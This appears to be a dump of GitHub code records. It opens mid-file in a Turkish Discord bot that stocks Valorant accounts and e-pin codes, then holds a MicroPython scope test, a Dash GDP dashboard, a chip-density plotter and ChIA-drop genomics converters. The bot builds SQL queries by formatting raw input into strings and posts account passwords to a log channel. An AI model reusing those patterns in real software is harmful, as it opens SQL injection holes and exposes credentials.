Adı', value=del_acc[0][1], inline=False)\r\n embed.add_field(name='Şifre', value=del_acc[0][2], inline=False)\r\n embed.add_field(name='Rütbe', value=del_acc[0][3], inline=False)\r\n embed.add_field(name='Yetkili', value=message_author.mention, inline=False)\r\n embed.set_thumbnail(url='https://cdn.discordapp.com/attachments/801490295924588585/864936680947187782/valorantlogo.png')\r\n embed.set_footer(text=\"Valoacc ● dev. by rups\")\r\n stock_log_channel = guild.get_channel(864261324720701440)\r\n await send_embed(stock_log_channel, embed)\r\n return 'Hesap başarıyla stoktan silindi.'\r\n else:\r\n return 'Belirtmiş olduğunuz ID\\'ye sahip bir hesap bulunamadı.'\r\n\r\nasync def add_vp_stock(code, quantity, guild, message_author):\r\n cur.execute(\"SELECT * FROM valorant_points WHERE code = '{}'\".format(code))\r\n if len(cur.fetchall()) != 0:\r\n return 'Bu e-pin kodu stokta mevcut.'\r\n else:\r\n cur.execute(\"INSERT INTO valorant_points VALUES ('{}', '{}')\".format(code, quantity))\r\n con.commit()\r\n embed = discord.Embed(title='Valoacc Log Sistemi', description='Stoğa bir ürün eklendi.', color=0x33ff00)\r\n embed.add_field(name='E-Pin Kodu', value=code, inline=False)\r\n embed.add_field(name='Miktar', value=quantity, inline=False)\r\n embed.add_field(name='Yetkili', value=message_author.mention, inline=False)\r\n embed.set_thumbnail(url='https://cdn.discordapp.com/attachments/801490295924588585/864936680947187782/valorantlogo.png')\r\n embed.set_footer(text=\"Valoacc ● dev. by rups\")\r\n stock_log_channel = guild.get_channel(864261324720701440)\r\n await send_embed(stock_log_channel, embed)\r\n return 'Valorant puanınız başarıyla stoğa eklenmiştir.'\r\n\r\nasync def del_vp_stock(code, guild, message_author):\r\n cur.execute(\"SELECT * FROM valorant_points WHERE code = '{}'\".format(code))\r\n del_code = cur.fetchall()\r\n if len(del_code) == 0:\r\n return 'Belirtmiş olduğunuz e-pin kodu stokta bulunamadı.'\r\n else:\r\n cur.execute(\"DELETE FROM valorant_points WHERE code = '{}'\".format(code))\r\n con.commit()\r\n embed = discord.Embed(title='Valoacc Log Sistemi', description='Stoktan bir ürün eksildi.', color=0xff0000)\r\n embed.add_field(name='E-Pin Kodu', value=del_code[0][0], inline=False)\r\n embed.add_field(name='Miktar', value=del_code[0][1], inline=False)\r\n embed.add_field(name='Yetkili', value=message_author.mention, inline=False)\r\n embed.set_thumbnail(url='https://cdn.discordapp.com/attachments/801490295924588585/864936680947187782/valorantlogo.png')\r\n embed.set_footer(text=\"Valoacc ● dev. by rups\")\r\n stock_log_channel = guild.get_channel(864261324720701440)\r\n await send_embed(stock_log_channel, embed)\r\n return 'Kod başarıyla stoktan silindi.'","repo_name":"RRupS/Valoacc-Discord-Bot","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42371382257","text":"# test scoping rules\n\n# explicit global variable\na = 1\ndef f():\n global a\n global a, a # should be able to redefine as global\n a = 2\nf()\nprint(a)\n\n# explicit nonlocal variable\ndef f():\n a = 1\n def g():\n nonlocal a\n nonlocal a, a # should be able to redefine as nonlocal\n a = 2\n g()\n return a\nprint(f())\n","repo_name":"micropython/micropython-infineon","sub_path":"tests/basics/scope.py","file_name":"scope.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"31"} +{"seq_id":"31590472884","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport dash\nfrom dash.dependencies import Input, Output\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nimport pandas as pd\n\n#load data\nfilename = 'nama_10_gdp_1_Data.csv'\ndf = pd.read_csv(filename)\ndf.head()\n\n#app = dash.Dash()\napp = dash.Dash(__name__)\nserver = app.server\n\napp.css.append_css({\"external_url\": \"https://codepen.io/chriddyp/pen/bWLwgP.css\"})\n\nstyles = {\n 'font-family': 'sans-serif',\n 'pre': {\n 'border': 'thin lightgrey solid',\n 'overflowX': 'scroll',\n }\n}\n#with two DropDown boxes for the different indicators. It will have also a slide for the different years in the data.\navailable_indicators = df['NA_ITEM'].unique()\navailable_metrics = df['UNIT'].unique()\n\napp.layout = html.Div([\n #first graph options\n html.Div([\n # metric dropdown\n html.Div([\n dcc.Dropdown(\n id='metric_1',\n options=[{'label': i, 'value': i} for i in available_metrics],\n value='Current prices, million euro'\n )\n ],\n style={'width': '100%', 'display': 'inline-block'}),\n # indicator 1 dropdown\n html.Div([\n dcc.Dropdown(\n id='yaxis-column',\n options=[{'label': i, 'value': i} for i in available_indicators],\n value='Gross domestic product at market prices'\n ),\n ],style={'width': '100%', 'display': 'inline-block'}),\n # indicator 2 dropdown\n html.Div([\n dcc.Dropdown(\n id='xaxis-column',\n options=[{'label': i, 'value': i} for i in available_indicators],\n value='Gross domestic product at market prices'\n ),\n ],style={'width': '100%', 'float': 'right', 'display': 'inline-block'})\n ], style={'margin-bottom': '100px'}),\n #first graph display\n html.Div([\n \n dcc.Graph(id='indicator-graphic'),\n # slider \n html.Div([\n dcc.Slider(\n id='year--slider',\n min=df['TIME'].min(),\n max=df['TIME'].max(),\n value=df['TIME'].max(),\n step=None,\n marks={str(year): str(year) for year in df['TIME'].unique()}\n )\n ], style= {'margin': '20px'})\n \n ], style={'margin-bottom': '60px', 'padding': '0px 50px'}),\n\n \n #second graph options\n html.Div([\n html.Div([\n #metric dropdown\n dcc.Dropdown(\n id='metric_2',\n options=[{'label': i, 'value': i} for i in available_metrics],\n value='Chain linked volumes, index 2010=100'\n )\n ],\n style={'width': '48%', 'display': 'inline-block'}),\n html.Div([\n #indicator dropdown\n dcc.Dropdown(\n id='indicator',\n options=[{'label': i, 'value': i} for i in available_indicators],\n value='Gross domestic product at market prices'\n )\n ],\n style={'width': '48%', 'display': 'inline-block'}),\n # country dropdown\n html.Div([\n dcc.Dropdown(\n id='country',\n options=[{'label': i, 'value': i} for i in df['GEO'].unique()],\n value='European Union - 28 countries'\n ),\n ],style={'width': '48%', 'display': 'inline-block'})\n ], \n style={'padding': '30px'}),\n\n #second graph display\n html.Div([\n \n dcc.Graph(id='country-graphic'),\n\n ], style={'margin-bottom': '30px', 'padding': '40px'}), \n])\n\n#first graph callback\n@app.callback(\n dash.dependencies.Output('indicator-graphic', 'figure'),\n [dash.dependencies.Input('xaxis-column', 'value'),\n dash.dependencies.Input('yaxis-column', 'value'),\n dash.dependencies.Input('metric_1','value'),\n dash.dependencies.Input('year--slider', 'value')])\ndef update_graph(xaxis_column_name, yaxis_column_name, metric,year_value):\n dff = df[(df['TIME'] == year_value) & (df['UNIT']==metric)]\n \n return {\n 'data': [go.Scatter(\n x=dff[dff['NA_ITEM'] == xaxis_column_name]['Value'],\n y=dff[dff['NA_ITEM'] == yaxis_column_name]['Value'],\n text=dff[dff['NA_ITEM'] == xaxis_column_name]['GEO'],\n mode='markers',\n marker={\n 'size': 15,\n 'opacity': 0.5,\n 'line': {'width': 0.5, 'color': 'white'}\n }\n )],\n 'layout': go.Layout(\n title= {'text': metric, 'xanchor': 'center',\n 'yanchor': 'top'},\n xaxis={\n 'title': xaxis_column_name,\n },\n yaxis={\n 'title': yaxis_column_name,\n },\n margin={'l': 40, 'b': 40, 't': 10, 'r': 0},\n hovermode='closest'\n )\n }\n\n#second graph callback\n@app.callback(\n # change country graph\n dash.dependencies.Output('country-graphic', 'figure'),\n # take indicator,metric and country as an input\n [dash.dependencies.Input('indicator', 'value'),\n dash.dependencies.Input('metric_2', 'value'),\n dash.dependencies.Input('country', 'value')])\n\ndef update_graph(indicator_name, metric_2,country_value): \n dff = df[(df['GEO'] == country_value) & (df['UNIT']==metric_2)]\n return {\n 'data': [go.Scatter(\n x=list(dff['TIME'].unique()),\n y=dff[dff['NA_ITEM'] == indicator_name]['Value'],\n text=dff[dff['NA_ITEM'] == indicator_name]['GEO'],\n mode='lines',\n marker={\n 'size': 15,\n 'opacity': 0.5,\n 'line': {'width': 0.5, 'color': 'white'}\n }\n ) \n ],\n 'layout': go.Layout(\n title= {'text': metric_2, 'xanchor': 'center',\n 'yanchor': 'top'},\n xaxis={\n 'title': 'Year',\n 'dtick': '1',\n 'tickmode': 'linear'\n },\n yaxis={\n 'title': indicator_name,\n },\n margin={'l': 40, 'b': 40, 't': 10, 'r': 0},\n hovermode='closest'\n )\n }\n\nif __name__ == '__main__':\n app.run_server()\n\n","repo_name":"merzjakob/dash_app_example","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31090592879","text":"import matplotlib.patches as patches\r\nimport matplotlib.pyplot as plt\r\n\r\ndef plot_density_map(file_name, divider):\r\n\r\n '''\r\n @gt\r\n this function takes in as a parameter a benchmark and a number x\r\n divides the chip in x*x parts and plots the density of each part\r\n green being 25% or less, red being 76% or more\r\n :param file_name: str\r\n :param divider: int\r\n :return\r\n '''\r\n\r\n rows = []\r\n max_width = 0\r\n bins = []\r\n\r\n with open(file_name + \".scl\") as f:\r\n for i, line in enumerate(f):\r\n \r\n line = line.strip()\r\n if line:\r\n if line.split()[0] == \"Coordinate\":\r\n starting_height = line.split()[2]\r\n if line.split()[0] == \"Height\":\r\n ending_height = int(starting_height) + int(line.split()[2])\r\n line_height = line.split()[2]\r\n if line.split()[0] == \"Sitespacing\":\r\n sitespacing = line.split()[2]\r\n if line.split()[0] == \"SubrowOrigin\":\r\n starting_x = line.split()[2]\r\n ending_x = int(starting_x) + int(sitespacing) * int(line.split()[5])\r\n if ending_x > max_width:\r\n max_width = ending_x\r\n rows.append([starting_x,starting_height,ending_x,ending_height])\r\n\r\n max_height = rows[-1][3]\r\n\r\n for i in range(divider):\r\n for j in range(divider):\r\n start_x = (j) *(max_width/divider)\r\n start_y = (i) *(max_height/divider)\r\n end_x = (j+1)*(max_width/divider)\r\n end_y = (i+1)*(max_height/divider)\r\n\r\n bins.append([start_x, start_y, end_x, end_y])\r\n\r\n fig1 = plt.figure()\r\n\r\n for area in bins:\r\n\r\n percentage = density_in_coordinates(file_name + \".pl\", area[1], area[0], area[3], area[2])\r\n\r\n if percentage <= 0.25:\r\n facecolor = \"green\"\r\n elif percentage <= 0.5:\r\n facecolor = \"yellow\"\r\n elif percentage <= 0.75:\r\n facecolor = \"orange\"\r\n else:\r\n facecolor = \"red\"\r\n\r\n ax1 = fig1.add_subplot(111)\r\n ax1.add_patch(\r\n patches.Rectangle(\r\n (area[0], area[1]),\r\n area[2]-area[0],\r\n area[3]-area[1],\r\n\r\n facecolor=facecolor, edgecolor=\"black\", linewidth=0.5, linestyle='solid'\r\n )\r\n )\r\n ax1.plot()\r\n plt.show()","repo_name":"PyPUT/PyPUT","sub_path":"Plotting Functions/plot_density_map.py","file_name":"plot_density_map.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27067967051","text":"import collections\nfrom collections import defaultdict\nfrom pytadbit import HiC_data\nimport itertools\nimport copy\nimport os\nimport h5py\nimport numpy as np\nimport random\nfrom pytadbit.parsers.hic_bam_parser import filters_to_bin\nfrom pysam import AlignmentFile\nfrom collections import OrderedDict\n\n\n\n# Function to write the TSV files from chiadrop files\ndef fromCHIADROPtoTSV_chiaPaper(files, outPath, all_chromLengths,\n filterQual=21,\n hic_data_style=True, chrCode = '',\n removeSingle=True):\n\n '''\n Function to generate TSV files from the ChIA-drop ones\n :param files: list with paths in which the input ChIA-drop files are located\n :param outPath: String with path in which to store the output tsv files\n :param all_chromLengths: Dictionary with reference genomeas key and\n a text including the lengts of each chromosome like in SAM format\n :param 21 filterQual: Minimum quality accepted\n :param '' chrCode: can be chr for example, in cases in which process data does\n not include it\n :param True hic_data_style: Wether to write the tsv in hic_data style readble\n by TADbit, or just keep minimum posible interactions to be used by our\n pipeline. The first one basically shows all vs all interactions for each\n concatemer, whereas the second one shows the first fragment interaction\n against all the others, saving some space\n :param True removeSingle: Set to True in order to remove singleton fragments\n '''\n\n # Set it to de text you want to add before eery chromomse.\n nConcatDict = {}\n #doubleRE = {}\n for filepath in sorted(files):\n cmd = ''\n if filepath.endswith('txt'):\n id1 = ''.join(filepath.split('/')[-1].split('.')[0].split('ChIA-Drop-'))\n print('## ' + id1 + ' ##')\n\n if hic_data_style:\n outfile = outPath + '%s_full.tsv' %(id1)\n else:\n outfile = outPath + '%s_short.tsv' %(id1)\n\n #viewPoint = proposedView[id1]\n\n # get reference genome chromosome coordinates for this sample\n chromLengths = all_chromLengths\n\n # Create list with concatemers with repeated RE\n #doubleRE[id1] = {}\n\n # Keep record of number of concatemers check\n nConcat = 0\n nConcatDict[id1] = {}\n # Keep record of number of concatermers with duplicated RE\n #nConcatDup = 0\n\n ## First to write, the header of the tsv\n for h in chromLengths.split('\\n'):\n if len(h) != 0:\n cmd += '# CRM %s\\n' %'\\t'.join(h.split())\n # Create file and write first lines\n with open(outfile,\"w\") as f:\n f.write(cmd)\n\n ## Then write the data\n # start adding the contacts\n concatemer = []\n\n # index of positions of interest\n FragsPos = 4\n\n # strand position always in forward\n # I believe this should mean forward?\n #https://github.com/3DGenomes/TADbit/blob/ca7cbbb9aa35\n #7591da623bc362cc097fae6de98d/_pytadbit/parsers/hic_bam_parser.py#L278\n strand = 1\n # Get the data we are interested in\n with open(filepath, 'r') as f:\n header = f.readline()\n for line in f:\n line = line.split()\n fragsPos = line[FragsPos].split(';')\n readId = '-'.join([line[0].split('-')[1], line[0].split('-', 3)[3]])\n\n concatemer = []\n for f in fragsPos:\n f = f.split(':')\n chrom = f[0]\n f2 = f[1].split('-')\n # in case start is 0\n start = max(1, int(f2[0]))\n end = int(f2[1].split('(')[0])\n seqLen = end - start + 1\n\n # save RE fragment\n concatemer += [[chrCode + str(chrom), str(start),\n str(strand), str(seqLen), str(start), str(end)]]\n\n nConcat += 1\n\n if hic_data_style:\n if removeSingle and len(concatemer) > 1:\n # get all posible combinatios between the fragments\n allComb = list(itertools.combinations(concatemer, 2))\n nmulti = len(allComb)\n\n # Write concatemer interactions\n for nc, comb in enumerate(allComb, 1):\n key = '%s.%s#%s/%s' %(id1, readId,\n nc, nmulti)\n toWrite = '%s\\t%s\\t%s\\n' %(key,\n '\\t'.join(comb[0]),\n '\\t'.join(comb[1]))\n # write\n with open(outfile, 'a') as f:\n f.write(toWrite)\n else:\n if removeSingle and len(concatemer) > 1:\n # add first fragment agains the rest\n nmulti = len(concatemer) - 1\n\n # Write concatemer interactions\n for nc, comb in enumerate(concatemer[1:], 1):\n key = '%s.%s#%s/%s' %(id1, readId,\n nc, nmulti)\n toWrite = '%s\\t%s\\t%s\\n' %(key,\n '\\t'.join(concatemer[0]),\n '\\t'.join(comb))\n # write\n with open(outfile, 'a') as f:\n f.write(toWrite)\n\n\n # Store concatemer numbers and concatemers with repeated RE\n nConcatDict[id1]['nConcat'] = nConcat\n\n\n return nConcatDict\n\n# Function to write the TSV files from chiadrop data processed by me\ndef fromCHIADROPtoTSV_myFormat(files, outPath, all_chromLengths,\n filterQual=21,\n hic_data_style=True, chrCode = '',\n maxFrag=1000000):\n\n '''\n Function to generate TSV files from the ChIA-drop ones (.multiC)\n :param files: list with paths in which the input ChIA-drop files are located\n :param outPath: String with path in which to store the output tsv files\n :param all_chromLengths: Dictionary with reference genomeas key and\n a text including the lengts of each chromosome like in SAM format\n :param 21 filterQual: Minimum quality accepted\n :param '' chrCode: can be chr for example, in cases in which process data does\n not include it\n :param True hic_data_style: Wether to write the tsv in hic_data style readble\n by TADbit, or just keep minimum posible interactions to be used by our\n pipeline. The first one basically shows all vs all interactions for each\n concatemer, whereas the second one shows the first fragment interaction\n against all the others, saving some space\n :param 1000000 maxFrag: maximum allowed size of fragments to be kept\n '''\n\n # Set it to de text you want to add before eery chromomse.\n nConcatDict = {}\n #doubleRE = {}\n for filepath in sorted(files):\n cmd = ''\n if filepath.endswith('multiC'):\n id1 = filepath.split('/')[-1][:-7]\n print('## ' + id1 + ' ##')\n\n if hic_data_style:\n outfile = outPath + '%s_%smaxFr_full.tsv' %(id1, maxFrag)\n else:\n outfile = outPath + '%s_%smaxFr_short.tsv' %(id1, maxFrag)\n\n #viewPoint = proposedView[id1]\n\n # get reference genome chromosome coordinates for this sample\n chromLengths = all_chromLengths\n\n # Create list with concatemers with repeated RE\n #doubleRE[id1] = {}\n\n # Keep record of number of concatemers check\n nConcat = 0\n nConcatDict[id1] = {}\n # Keep record of number of concatermers with duplicated RE\n #nConcatDup = 0\n\n ## First to write, the header of the tsv\n for h in chromLengths.split('\\n'):\n if len(h) != 0:\n cmd += '# CRM %s\\n' %'\\t'.join(h.split())\n # Create file and write first lines\n with open(outfile,\"w\") as f:\n f.write(cmd)\n\n ## Then write the data\n # start adding the contacts\n concatemer = []\n\n # index of positions of interest\n FragsPos = 2\n nFragPos = 1\n\n # strand position always in forward\n # I believe this should mean forward?\n #https://github.com/3DGenomes/TADbit/blob/ca7cbbb9aa35\n #7591da623bc362cc097fae6de98d/_pytadbit/parsers/hic_bam_parser.py#L278\n strand = 1\n # Get the data we are interested in\n with open(filepath, 'r') as f:\n #header = f.readline()\n for line in f:\n line = line.split()\n nFrag = int(line[nFragPos])\n if nFrag <= maxFrag:\n fragsPos = line[FragsPos].split(';')\n readId = '-'.join(line[0].split('-')[-2:])\n\n concatemer = []\n for f in fragsPos:\n f = f.split(':')\n chrom = f[0]\n f2 = f[1].split('-')\n # in case start is 0\n start = max(1, int(f2[0]))\n end = int(f2[1])\n seqLen = end - start + 1\n\n # save RE fragment\n concatemer += [[chrCode + str(chrom), str(start),\n str(strand), str(seqLen), str(start), str(end)]]\n\n nConcat += 1\n\n if hic_data_style:\n if len(concatemer) > 1:\n # get all posible combinatios between the fragments\n allComb = list(itertools.combinations(concatemer, 2))\n nmulti = len(allComb)\n\n # Write concatemer interactions\n for nc, comb in enumerate(allComb, 1):\n key = '%s.%s#%s/%s' %(id1, readId,\n nc, nmulti)\n toWrite = '%s\\t%s\\t%s\\n' %(key,\n '\\t'.join(comb[0]),\n '\\t'.join(comb[1]))\n # write\n with open(outfile, 'a') as f:\n f.write(toWrite)\n else:\n if len(concatemer) > 1:\n # add first fragment agains the rest\n nmulti = len(concatemer) - 1\n\n # Write concatemer interactions\n for nc, comb in enumerate(concatemer[1:], 1):\n key = '%s.%s#%s/%s' %(id1, readId,\n nc, nmulti)\n toWrite = '%s\\t%s\\t%s\\n' %(key,\n '\\t'.join(concatemer[0]),\n '\\t'.join(comb))\n # write\n with open(outfile, 'a') as f:\n f.write(toWrite)\n\n\n # Store concatemer numbers and concatemers with repeated RE\n nConcatDict[id1]['nConcat'] = nConcat\n\n\n return nConcatDict\n\n\n# Function to create bedgraphs from the multiC files\ndef fromCHIADROPtoBedGraph_myFormat(filepath, outPath, all_chromLengths,\n chrCode = '', maxFrag=1000000, resol=100000, norm=False,\n adjustBy=100000000, roundVals=False):\n\n '''\n Function to generate BedGraph files from the ChIA-drop ones (.multiC)\n :param filepath: path in which the input ChIA-drop file is located\n :param outPath: String with path in which to store the output tsv files\n :param chromList: List with all present chromosomes in the dataset (in\n desired order)\n :param all_chromLengths: dictionary with chromosome names as keys and maximum\n length as integer value\n :param '' chrCode: can be chr for example, in cases in which process data does\n not include it\n :param 1000000 maxFrag: maximum allowed size of fragments to be kept\n :param 100000 resol: resolution at which we will merge reads\n :param False norm: True to normalise by number of total interactions\n :param 100000000 adjustBy: number by which to multiplicate results (if they are too \n small and you wount to increase the size)\n :param False roundVals: Set to True if you wand to round to 4 decimals. To be\n used only with norm = True \n '''\n\n \n def getVal_round(val, normBy):\n return round(val / normBy, 4)\n def getVal_normal(val, normBy):\n return val / normBy\n \n if norm == True and roundVals == True:\n getVal = getVal_round\n else:\n getVal = getVal_normal\n \n # get order of chromosomes\n chromList = sorted(list(all_chromLengths.keys()))\n # Set it to de text you want to add before eery chromomse.\n nConcatDict = {}\n #doubleRE = {}\n allInter = 0\n if filepath.endswith('multiC'):\n id1 = filepath.split('/')[-1][:-7]\n print('## ' + id1 + ' ##')\n\n outfile = outPath + '%s_%smaxFr.bedgraph' %(id1, maxFrag)\n \n # index of positions of interest\n FragsPos = 2\n nFragPos = 1\n\n allChromData = {}\n for c in chromList:\n allChromData[c] = defaultdict(int)\n # Get the data we are interested in binned in specific chunks\n with open(filepath, 'r') as f:\n #header = f.readline()\n for line in f:\n line = line.split()\n nFrag = int(line[nFragPos])\n if nFrag <= maxFrag:\n fragsPos = line[FragsPos].split(';')\n\n for f in fragsPos:\n f = f.split(':')\n chrom = f[0]\n f2 = f[1].split('-')\n # in case start is 0\n start = max(1, int(f2[0]))\n \n allChromData[chrCode+chrom][start//resol*resol] += 1\n allInter += 1\n\n\n # Now we write the bed file\n if norm == True:\n # we try to multiply positively the result\n normBy = allInter / adjustBy\n else:\n normBy = 1\n \n #print(allInter)\n npeak = 1\n with open(outfile,\"w\") as fout:\n for chrom in chromList:\n for pos in sorted(allChromData[chrom]):\n if allChromData[chrom][pos] != 0:\n # Position is zero based\n endpos = min(pos + resol, all_chromLengths[chrom])\n value = getVal(allChromData[chrom][pos], normBy)\n toWrite = f'{chrom}\\t{pos}\\t{endpos}\\t'\n toWrite += f'{value}\\n'\n\n npeak += 1\n\n # write\n fout.write(toWrite)\n\n return npeak, outfile\n\n\n## set of functions to write TSV files from our chiadrop data\n# Write concatemer interactions\ndef fullwrite(id1, readId, nmulti, allComb, outfile):\n for nc, comb in enumerate(allComb, 1):\n key = '%s.%s#%s/%s' %(id1, readId, \n nc, nmulti)\n toWrite = '%s\\t%s\\t%s\\n' %(key, \n '\\t'.join(comb[0]), \n '\\t'.join(comb[1]))\n # write\n with open(outfile, 'a') as f:\n f.write(toWrite) \n \n\n# Write concatemer interactions\ndef shortwrite(id1, readId, nmulti, concatemer, outfile):\n for nc, comb in enumerate(concatemer[1:], 1):\n key = '%s.%s#%s/%s' %(id1, readId,\n nc, nmulti)\n toWrite = '%s\\t%s\\t%s\\n' %(key,\n '\\t'.join(concatemer[0]),\n '\\t'.join(comb))\n # write\n with open(outfile, 'a') as f:\n f.write(toWrite)\n \ndef writeGEM(hic_data_style, concatemer, id1, prevGEMid,\n outfile):\n ## Write\n if hic_data_style:\n # get all posible combinatios between the fragments\n allComb = list(itertools.combinations(concatemer, 2))\n nmulti = len(allComb)\n\n # Write concatemer interactions\n fullwrite(id1, prevGEMid, nmulti, allComb, outfile)\n\n else:\n # add first fragment agains the rest\n nmulti = len(concatemer) - 1\n\n # Write concatemer interactions\n shortwrite(id1, prevGEMid, nmulti, concatemer, outfile)\n\n# Function to write the TSV files from chiadrop files\ndef fromCHIADROPtoTSV(outPath, all_chromLengths,\n filterQual=21, \n hic_data_style=True, chrCode = ''):\n\n '''\n Function to generate TSV files from the HDF5 ones\n param outPath: String with path in which to store the output tsv files\n param all_chromLengths: Dictionary with reference genomeas key and\n a text including the lengts of each chromosome like in SAM format\n param 21 filterQual: Minimum quality accepted\n :param '' chrCode: can be chr for example, in cases in which process data does \n not include it\n param True hic_data_style: Wether to write the tsv in hic_data style readble\n by TADbit, or just keep minimum posible interactions to be used by our \n pipeline. The first one basically shows all vs all interactions for each\n concatemer, whereas the second one shows the first fragment interaction\n against all the others, saving some space\n '''\n \n files = os.listdir(outPath)\n # Set it to de text you want to add before eery chromomse.\n nConcatDict = {}\n #doubleRE = {}\n for filepath in sorted(files):\n cmd = ''\n if filepath.endswith('region'):\n id1 = '_'.join(filepath.split('_',2)[0:2])\n print('## ' + id1 + ' ##')\n if not os.path.exists(outPath + 'tsv/'):\n os.makedirs(outPath + 'tsv/')\n\n if hic_data_style:\n outfile = outPath + 'tsv/%s_full.tsv' %(id1)\n else:\n outfile = outPath + 'tsv/%s_short.tsv' %(id1)\n\n #viewPoint = proposedView[id1]\n\n # get reference genome chromosome coordinates for this sample\n chromLengths = all_chromLengths\n\n # Create list with concatemers with repeated RE\n #doubleRE[id1] = {}\n\n # Keep record of number of concatemers check\n nConcat = 0\n nConcatDict[id1] = {}\n # Keep record of number of concatermers with duplicated RE\n #nConcatDup = 0\n\n ## First to write, the header of the tsv\n for h in chromLengths.split('\\n'):\n if len(h) != 0:\n cmd += '# CRM %s\\n' %'\\t'.join(h.split())\n # Create file and write first lines\n with open(outfile,\"w\") as f:\n f.write(cmd)\n\n ## Then write the data\n # start adding the contacts\n concatemer = []\n\n # index of positions of interest\n nFragPos = 3\n chromPos = 0\n startPos = 1\n endPos = 2\n GEMidPos = 4\n\n\n # get first GEM id\n with open(outPath + filepath, 'r') as f:\n first_line = f.readline()\n prevGEMid = first_line.split()[GEMidPos]\n nFrag = int(first_line.split()[nFragPos])\n\n # strand position always in forward\n # I believe this should mean forward?\n #https://github.com/3DGenomes/TADbit/blob/ca7cbbb9aa35\n #7591da623bc362cc097fae6de98d/_pytadbit/parsers/hic_bam_parser.py#L278\n strand = 1\n # Get the data we are interested in\n with open(outPath + filepath, 'r') as f:\n #header = f.readline()\n for line in f:\n line = line.split()\n\n GEMid = line[GEMidPos]\n\n # if we are in a new concatemer\n if prevGEMid != GEMid:\n writeGEM(hic_data_style, concatemer, id1, prevGEMid,\n outfile)\n\n ## restart parameters \n # restart list with GEM fragments coordiantes\n concatemer = []\n # reset previous id to actual one\n prevGEMid = GEMid\n nConcat += 1\n\n # get coordinates and info\n chrom = line[chromPos]\n start = int(line[startPos])\n end = int(line[endPos])\n nFrag = int(line[nFragPos])\n seqLen = end - start + 1\n\n # save GEM\n concatemer += [[chrCode + str(chrom), str(start),\n str(strand), str(seqLen), str(start), str(end)]]\n\n # write last GEM\n writeGEM(hic_data_style, concatemer, id1, prevGEMid,\n outfile)\n\n ## restart parameters \n # restart list with GEM fragments coordiantes\n concatemer = []\n # reset previous id to actual one\n prevGEMid = GEMid\n nConcat += 1\n\n # Store concatemer numbers and concatemers with repeated RE\n nConcatDict[id1]['nConcat'] = nConcat\n\n\n return nConcatDict\n\n\n###### FUNCTIONS FOR THE NORMALISATON ######\n\n# Obtain multiContacts from file just in a pairwise manner\ndef goThroughReads_yesDiag(section_pos, line, interPerBin,\n resol, nRead=0):\n '''\n Function to obtain interaction frecuencies per bin from \n normal TSV with no multiContact data spected\n \n :param section_pos: Dictionary with the chromosomes\n reference name as keys and a list or tuple of\n the range of bins in which they lie. Ej.:\n {'chr1':(0, 5000)}. Is 0 index, and last bin \n from range, is not included inside, so next\n chromosome could be {'chr2':(5000, 10000)}\n :param line: list or tuple with:\n [chr1, startPos1, chr2, startPos2]\n :param interPerBin: defaultdict(int) with the number\n of times each bin interacts\n :param resol: Resolution at wich we are going to be \n normalising our data\n :param 0 nRead: Integer indicating number of reads \n counted\n \n '''\n \n # store each apparition of a fragment in a concatemer\n #we store the bin of the mapping start position\n fragment1 = (int(line[1]) // resol) + section_pos[line[0]][0]\n interPerBin[fragment1] += 1\n \n fragment2 = (int(line[3]) // resol) + section_pos[line[2]][0]\n interPerBin[fragment2] += 1\n \n # New concatemer seen\n nRead += 1\n \n return interPerBin, nRead\n\n\n# Obtain multiContacts from file just in a pairwise manner. Remove diagonal\ndef goThroughReads_noDiag(section_pos, line, interPerBin,\n resol, nRead=0):\n '''\n Function to obtain interaction frecuencies per bin from \n normal TSV with no multiContact data spected\n \n :param section_pos: Dictionary with the chromosomes\n reference name as keys and a list or tuple of\n the range of bins in which they lie. Ej.:\n {'chr1':(0, 5000)}. Is 0 index, and last bin \n from range, is not included inside, so next\n chromosome could be {'chr2':(5000, 10000)}\n :param line: list or tuple with:\n [chr1, startPos1, chr2, startPos2]\n :param interPerBin: defaultdict(int) with the number\n of times each bin interacts\n :param resol: Resolution at wich we are going to be \n normalising our data\n :param 0 nRead: Integer indicating number of reads \n counted\n \n '''\n \n # store each apparition of a fragment in a concatemer\n # we store the bin of the mapping start position\n fragment1 = (int(line[1]) // resol) + section_pos[line[0]][0]\n fragment2 = (int(line[3]) // resol) + section_pos[line[2]][0]\n \n if fragment1 != fragment2:\n interPerBin[fragment1] += 1\n interPerBin[fragment2] += 1\n # New concatemer seen\n nRead += 1\n \n return interPerBin, nRead\n\n# function to get the bins list per chromosome\ndef getSectionPos(infile, resol):\n bamfile = AlignmentFile(infile, 'rb')\n bam_refs = bamfile.references\n bam_lengths = bamfile.lengths\n\n sections = OrderedDict(list(zip(bam_refs,\n [x for x in bam_lengths])))\n total = 0\n section_pos = OrderedDict()\n for crm in sections:\n section_pos[crm] = (total, total + (sections[crm] // resol + 1))\n total += (sections[crm] // resol + 1)\n \n bamfile.close()\n return section_pos\n\n\n# Open tsv and obtain contact frecuencies in a pairwise manner\ndef getInteractionsPerBin(infile, resol, locusCh=False,\n regRange = False, returnNread = False,\n filter_exclude=(1, 2, 3, 4, 6, 7, 8, 9, 10),\n diagonal=True):\n '''\n Function to get the number of concatemers were a bin of interest is \n appearing (is bin based, so all fragments which start inside of\n a bin margin will be joined)\n \n :param infile: Path to the input file. If TADbit style TSV, be sure \n it ends with .tsv. If usual BAM file, be sure it is sorted, the\n index is located in the same folder, and it ends with .bam\n :param resol: Resolution at wich we are going to be normalising our\n data\n :param False locusCh: Set to True if you want to return just data to\n normalise the bin between the smallest and biggest binned coordinate\n in regRange. Even if True the whole bam file must be cheked, so\n wont safe any time.\n :param False regRange: list or tuple with the first and last binned\n coordinates we wont to retrieve.\n :param False returnNread: wether you want or not nRead to be\n returned. It returns the number of reads check.\n :param (1, 2, 3, 4, 6, 7, 8, 9, 10) filter exclude: filters to define the\n set of valid pair of reads. Just valid for TADbit style BAMfiles. If\n working with already filtered non TADbit BAM set filter_exclude = 